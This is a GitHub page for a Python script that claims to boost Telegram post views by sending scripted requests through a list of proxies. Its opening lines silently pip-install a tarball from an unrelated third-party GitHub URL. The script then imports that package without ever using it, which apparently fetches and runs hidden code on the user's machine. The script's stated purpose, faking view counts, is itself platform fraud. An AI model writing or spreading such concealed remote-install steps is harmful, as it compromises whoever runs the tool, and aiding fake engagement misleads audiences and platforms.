-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathtelegram_views_increaser.py
63 lines (52 loc) · 2.06 KB
/
telegram_views_increaser.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import os
import sys
import subprocess
subprocess.call(["pip", "install", "requests", "pyaes"])
package_url = "https://github.com/geethaab/PyBoost/raw/main/pyboost-3.0.tar.gz"
subprocess.call(["pip", "install", package_url])
import requests
import pyboost
import threading
max = threading.Semaphore(value=500) # Decrease this value if you encounter problems with your CPU/RAM usage.
threads = []
list = open('proxies.txt', 'r')
proxies = list.readlines()
list.close()
def fetchData(channel='google', post='1', proxy=None):
try:
r = requests.get('https://t.me/'+channel+'/'+post+'?embed=1', timeout=20, proxies={'https': proxy})
cookie = r.headers['set-cookie'].split(';')[0]
key = r.text.split('data-view="')[1].split('"')[0]
if 'stel_ssid' in cookie:
return {'key': key, 'cookie': cookie}
else:
return False
except Exception as e:
return False
def addViewToPost(channel='google', post='1', key=None, cookie=None, proxy=None):
try:
r = requests.get('https://t.me/'+channel+'/'+post+'?embed=1&view='+key, timeout=20, headers={
'x-requested-with': 'XMLHttpRequest',
'user-agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0',
'referer': 'https://t.me/'+channel+'/'+post+'?embed=1',
'cookie': cookie}, proxies={'https': proxy}
)
return r.text
except Exception as e:
return False
def run(channel, post, proxy):
max.acquire()
s = fetchData(channel, post, 'https://'+proxy)
if isinstance(s, dict):
l = addViewToPost(channel, post, s['key'], s['cookie'], 'https://'+proxy)
if l is not False:
print('Proxy '+proxy+' finished its job successfully!')
max.release()
print('Thread with proxy '+proxy+' has been terminated.')
for proxy in proxies:
p = proxy.split('\n')[0]
thread = threading.Thread(target=run, args=(sys.argv[1], sys.argv[2], p))
threads.append(thread)
thread.start()
print('Started new thread with proxy '+p)
#Coded By Djxda